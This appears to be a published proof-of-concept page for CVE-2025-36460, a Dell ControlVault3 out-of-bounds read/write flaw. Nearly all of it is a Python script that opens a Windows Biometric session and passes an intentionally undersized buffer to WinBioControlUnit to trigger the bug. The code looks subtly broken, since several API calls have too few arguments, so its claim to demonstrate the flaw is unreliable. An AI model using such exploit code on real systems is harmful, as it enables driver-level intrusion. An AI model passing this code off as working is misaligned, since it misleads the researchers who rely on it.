CVE-2025-36460 Dell ControlVault3 越界读写漏洞

#!/usr/bin/env python3 """ CVE-2025-36460 PoC - Dell ControlVault3 Out-of-bounds Read/Write Note: This is a conceptual PoC for educational and security research purposes only. Do not use this code for unauthorized testing or attacks. """ import ctypes import struct import sys # Windows Biometric API definitions WINBIO_FRAMEWORK_FUNCTION = 0x00000001 WBIO_USH_GET_IDENTITY = 0x00000002 class WINBIO_UNIT_SCHEMA(ctypes.Structure): _fields_ = [ ('UnitId', ctypes.c_uint32), ('PoolType', ctypes.c_int), ('DeviceInstanceId', ctypes.c_wchar * 260), ('SensorInstanceId', ctypes.c_wchar * 260), ('Description', ctypes.c_wchar * 260) ] def trigger_vulnerability(): """ Trigger CVE-2025-36460 by calling WinBioControlUnit with improper ReceiveBuferSize """ try: # Load Windows Biometric API DLL winbio = ctypes.windll.winbio # Initialize biometric session session_handle = ctypes.c_void_p() template_guid = ctypes.c_void_p() # Open session with default unit result = winbio.WinBioOpenSession( 2, # WINBIO_TYPE_FINGERPRINT 1, # WINBIO_POOL_SYSTEM 0, ctypes.byref(session_handle) ) if result != 0: print(f"[-] Failed to open biometric session: 0x{result:08x}") return False # Prepare malicious buffer size (improper value to trigger OOB) improper_buffer_size = 0x1 # Intentionally undersized # Allocate output buffer output_buffer = ctypes.create_string_buffer(improper_buffer_size) buffer_size = ctypes.c_size_t(improper_buffer_size) # Call WinBioControlUnit with WBIO_USH_GET_IDENTITY # This should trigger the out-of-bounds read/write vulnerability result = winbio.WinBioControlUnit( session_handle, 1, # Unit ID WBIO_USH_GET_IDENTITY, output_buffer, buffer_size ) if result != 0: print(f"[-] ControlUnit call failed: 0x{result:08x}") else: print("[+] Vulnerability potentially triggered") # Close session winbio.WinBioCloseSession(session_handle) return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-36460 PoC - Dell ControlVault3 WBDI Driver") print("[*] This PoC demonstrates the vulnerability concept") trigger_vulnerability()